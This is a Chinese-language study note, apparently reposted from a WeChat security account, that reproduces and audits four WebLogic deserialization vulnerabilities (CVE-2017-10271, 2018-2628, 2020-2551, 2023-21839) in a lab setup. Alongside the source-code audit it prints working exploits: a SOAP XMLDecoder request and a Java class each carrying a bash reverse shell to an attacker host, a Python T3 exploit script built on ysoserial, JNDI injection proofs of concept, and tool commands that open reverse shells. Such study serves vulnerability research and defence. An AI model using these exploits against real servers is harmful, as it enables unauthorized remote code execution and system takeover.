0x01 前言
JAVA不是很熟,打算练练手,以下内容都是参考了很多师傅的文章,并非原创,只是作为汇总+复现,内容如有错漏之处,恳请指正
0x02 目录
-
XMLDecoder反序列化漏洞(CVE-2017-10271)
-
T3协议反序列化漏洞(CVE-2018-2628)
-
IIOP反序列化漏洞(CVE-2020-2551)
-
后反序列化RCE(CVE-2023-21839)
0x03 IDEA+VULHUB环境搭建
通过IDEA去远程调试Weblogic进行代码审计:
https://www.111com.net/jsp/203021.htm
https://blog.csdn.net/weixin_45382656/article/details/119760331
0x04 正文
XMLDecoder反序列化漏洞(CVE-2017-10271)
原理:
Weblogic的WLS Security组件(wls-wsat.war)对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。
影响版本:
10.3.6.0.0
12.1.3.0.0
12.2.1.1.0
12.2.1.2.0
利用:
访问漏洞页面http://xx.com/wls-wsat/CoordinatorPortType
burpsuite抓包改包,传入XML数据,POC如下,反弹shell:
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.206.209:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: text/xml
Content-Length: 643
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/192.168.206.200/4444 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
可以看到nc已经接收到反弹shell了
审计:
原理说了,由wls-wsat.war触发漏洞,所以我们通过web.xml看使用了该组件的URL,也就是存在漏洞的页面,主要看url-pattern标签
/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11
找到了漏洞页面后,按照上面的POC利用,是要向页面传入XML数据,而处理POST传进来的XML数据是在
weblogic/wsee/jaxweblogic/wsee/jaxws/workcontext/WorkContextServerTube类的processRequest方法中,其参数var1是我们传入的XML数据
其中,第43行调用了readHeaderOld方法来处理XML数据,我们跟进readHeaderOld方法(快捷键CTRL+ALT+B跳转到代码块)
获取了XML数据后,第108行调用ByteArrayOutputStream,转换为字节流,赋值var4,第112行再将其传入给WorkContextXmlInputAdapter
我们跟进对象的类WorkContextXmlInputAdapter,看到其实就是将var4传进了XMLDecoder
我们再回到刚才的readHeaderOld方法,第112行获得了xmlDecoder对象后,第113行又调用了receive方法,我们跟进receive
receive方法中,第71行将参数又传给了receiveRequest,我们继续跟进
receiveRequest方法中,第165行将参数又传给WorkContextEntryImpl的readEntry方法,我们继续跟进
readEntry方法中,第72行将参数又传给了readUTF方法,继续跟进
readUTF中,对xmlDecoder对象进行了反序列化(readObject),触发调用了类中的方法,我们可以看到,刚才上面的代码都没有过滤用户传入的XML数据,从而导致恶意代码被解析
T3协议反序列化漏洞(CVE-2018-2628)
原理:
远程攻击者可利用该漏洞在未授权的情况下发送攻击数据,通过T3协议(T3 协议是 Weblogic RMI 调用时的通信协议)在Weblogic Server中执行反序列化操作,利用RMI机制(远程方法调用,JAVA对象A运行在主机1上,对象B运行在主机2上,那么可以通过对象A去远程调用对象B的方法)的缺陷,通过 JRMP 协议(Java RMI 的基础通信协议是 JRMP)达到执行任意反序列化 payload 的目的
影响版本:
10.3.6.0
12.1.3.0
12.2.1.1
12.2.1.2
利用:
直接放python的POC,我这里payload直接是ping dnslog
POC就是把 ysoserial 生成的 payload 变成 T3 协议里的数据格式,包含三部分:
1、Header,这代表了数据包长度 2、T3 Header 3、反序列化标志
from os import popen
import struct # 负责大小端的转换
import subprocess
from sys import stdout
import socket
import re
import binascii
def generatePayload(gadget,cmd):
YSO_PATH = "/home/kali/Desktop/5月2日/Shiro RCE/ysoserial.jar"
popen = subprocess.Popen(['java','-jar',YSO_PATH,gadget,cmd],stdout=subprocess.PIPE)
return popen.stdout.read()
def T3Exploit(ip,port,payload):
sock =socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((ip,port))
handshake = "t3 12.2.3nAS:255nHL:19nMS:10000000nn"
sock.sendall(handshake.encode())
data = sock.recv(1024)
compile = re.compile("HELO:(.*).0.false")
match = compile.findall(data.decode())
if match:
print("Weblogic: "+"".join(match))
else:
print("Not Weblogic")
return
header = binascii.a2b_hex(b"00000000")
t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006")
desflag = binascii.a2b_hex(b"fe010000")
payload = header + t3header +desflag+ payload
payload = struct.pack(">I",len(payload)) + payload[4:]
sock.send(payload)
if __name__ == "__main__":
ip = "192.168.206.209"
port = 7001
gadget = "CommonsCollections1"
cmd = "ping 62tict.dnslog.cn"
payload = generatePayload(gadget,cmd)
T3Exploit(ip,port,payload)
可以看到,dnslog已经收到数据了,证明漏洞存在
审计:
借一张别人的图,来说明T3协议
如果看了上面的POC,你会发现我们需要先发请求包头(t3 12.2.3nAS:255nHL:19nMS:10000000nn),再发请求主体
为什么需要发送T3协议头?
如果我们直接将序列化好的数据发送过去的话,weblogic服务器是不会响应的,所以需要先发送T3协议头,它会返回weblogic的版本
请求主体
ac ed 00 05是反序列化标志,因为T3 协议中反序列化数据包前面都有 fe 01 00 00 ,所以这里的标志相当于是 fe 01 00 00 ac ed 00 05,就是说在 fe 01 00 00 ac ed 00 05后的内容,我们需要对后面这一串序列化数据进行恶意构造。
ok,有了基本的概念,我们开始审计,反序列化的入口类在InboundMsgAbbrev(通过工具栏Navigate->classes直接搜关键字),我们在readObject处下个断点调试
经过调试的dubug信息var2=0,可以看到switch语句,当值为0时,将参数var1传入
ServerChannelInputStream,所以我们跟进
ServerChannelInputStream这个类的作用是处理请求包协议头,我们继续跟进getServerChannel
可以看到第241行的this.connection,getChannel是其方法,这是什么,我们往上翻,发现它是MsgAbbrevJVMConnection这个类,主要存储了一些 RMI 连接的数据,包括端口地址等,跟进getChannel,开始处理T3协议
T3协议头处理完后,我们再回到刚才InboundMsgAbbrev类,再一路跟进到resolveClass方法,resolveClass() 方法是用来处理类的,这些类在经过反序列化之后会走到 resolveClass() 方法这里,
可以发现调试后,此时dubug信息的var2就是我们的AnnotationInvocationHandler类,也就是代理类
后续就是CC1链环节
IIOP反序列化漏洞(CVE-2020-2551)
原理:
该漏洞是由于调用远程对象的实现存在缺陷,导致序列化对象可以任意构造,在使用之前未经安全检查,攻击者可以通过 IIOP 协议远程访问 Weblogic Server 服务器上的远程接口,传入恶意数据,从而获取服务器权限并在未授权情况下远程执行任意代码
影响版本:
10.3.6.0
12.1.3.0
12.2.1.3
12.2.1.4
利用:
exp.java代码,payload是反弹shell
import java.io.IOException;
public class exp {
static{
try {
java.lang.Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/192.168.206.200/4444 0>&1"});
} catch (IOException e) {
e.printStackTrace();
}
}
public static void main(String[] args) {
}
}
编译exp.java为class字节码文件
javac exp.java -source 1.6 -target 1.6
如果编译报错,安装java8环境后,再试一遍
cd /opt
curl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linux-x64.tar.gz
tar zxvf jdk-8u20-linux-x64.tar.gz
rm -rf /usr/bin/java*
ln -s /opt/jdk1.8.0_20/bin/j* /usr/bin
javac -version
通过python在exp.class的目录开启WEB服务
python3 -m http.server 80
使用marshalsec工具启动rmi服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.206.200/#exp" 12345
使用weblogic_CVE_2020_2551.jar工具,执行exp
下载地址:https://github.com/zzwlpx/weblogicPoc/releases/tag/1.0
java -jar weblogic_CVE_2020_2551.jar 192.168.206.209 7001 rmi://192.168.206.200:12345/exp
审计:
漏洞的出发点在ObjectStreamClass的readObject方法
根据网上的POC利用截图,一步步逆向分析回去,向上跟踪哪个方法调用了它,可以发现ValueHandlerImpl的readValueData方法,第173行最终调用了readObject方法
再继续往上走,发现同方法的readValue函数这里调用了上面的readValueData方法(第61行)
继续追踪分析,可以发现主要的函数weblogic.iiop. IIOPInputStream方法中调用了上面的readValue方法(第2270行)
这个漏洞是通过JNDI注入,需要寻找到weblogic中的工厂类,进行封装发送,可以使用weblogic.jndi.WLInitialContextFactory该工厂方法
poc如下
public static void main(String[] args) throws Exception{
Hashtable<String, String> env = new Hashtable<String, String>();
env.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory");
env.put("java.naming.provider.url", "iiop://127.0.0.1:7001");
Context context = new InitialContext(env);
JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
jtaTransactionManager.setUserTransactionName("rmi://127.0.0.1:8822/wlc");
context.rebind("test",jtaTransactionManager);
}
后反序列化RCE(CVE-2023-21839)
原理:
通过Weblogic t3/iiop协议支持远程绑定对象bind到服务端,当远程对象继承自OpaqueReference时,lookup查看远程对象时,服务端调用远程对getReferent方法,其中的remoteJNDIName参数可控,导致攻击者可利用rmi/ldap远程协议进行远程命令执行
影响版本:
Oracle WebLogic Server 12.2.1.3.0
Oracle WebLogic Server 12.2.1.4.0
Oracle WebLogic Server 14.1.1.0.0
利用:
用JNDIExploit-1.2-SNAPSHOT.jar设置监听
下载:https://github.com/Mr-xn/JNDIExploit-1/releases/tag/v1.2
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.206.200
再nc监听一下
nc -lvvp 4444
下载利用工具https://github.com/4ra1n/CVE-2023-21839
进入到文件目录的cmd子目录下,通过go语言编译
go build -o CVE-2023-21839 //编译文件
执行EXP
./CVE-2023-21839 -ip 192.168.206.209 -port 7001 -ldap ldap://192.168.206.200:1389/Basic/ReverseShell/192.168.206.200/4444
已经反弹shell成功了
审计:
网传POC如下,此漏洞为后反序列化,bind之后不会触发漏洞,当执行lookup方法之后才会触发漏洞
import weblogic.deployment.jms.ForeignOpaqueReference;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.lang.reflect.Field;
import java.util.Hashtable;
public class Main {
static String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory";
private static InitialContext getInitialContext(String url) throws NamingException {
Hashtable<String,String> env = new Hashtable<String,String>();
env.put(Context.INITIAL_CONTEXT_FACTORY,JNDI_FACTORY);
env.put(Context.PROVIDER_URL,url);
return new InitialContext(env);
}
public static void main(String[] args) throws Exception {
InitialContext c = getInitialContext("t3://xx.xx.xx.xx:7001");
Hashtable<String,String> env = new Hashtable<String,String>();
env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
ForeignOpaqueReference f = new ForeignOpaqueReference();
Field jndiEnvironment = ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");
jndiEnvironment.setAccessible(true);
jndiEnvironment.set(f,env);
Field remoteJNDIName = ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName");
remoteJNDIName.setAccessible(true);
remoteJNDIName.set(f,"ldap://xx.xx.xx.xx:1389/exp");
c.bind("sss",f);
c.lookup("sss");
}
}
漏洞由WLNamingManager类的getObjectInstance方法作为入口,当boundObject是OpaqueReference对象或者子类的对象时,会调用这个boundObject的getReferent方法
ForeignOpaqueReference类方法满足这个条件,且它的getReferent方法,通过构造jndiEnvironment来让代码执行到lookup函数
可以通过利用WLInitialContextFactory找到上下文中传递的漏洞类,具体参考以下链接:
https://mp.weixin.qq.com/s?__biz=MzI0NzEwOTM0MA==&mid=2652502091&idx=1&sn=02000f561de5e7b0b494017f1b0d964a&chksm=f2585bf8c52fd2ee92efc3a92c25c60d9362b564ac0c82d5bc88061bd46d3b18c67f8baa2992&mpshare=1&scene=1&srcid=0705OiTDNCg0cECTaYfmito1&sharer_sharetime=1688524867644&sharer_shareid=370f2dea8336f85c46544adaaff5a3f9#rd
原文始发于微信公众号(韬光养晦安全):【学习笔记】Weblogic反序列化审计(原理+利用)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论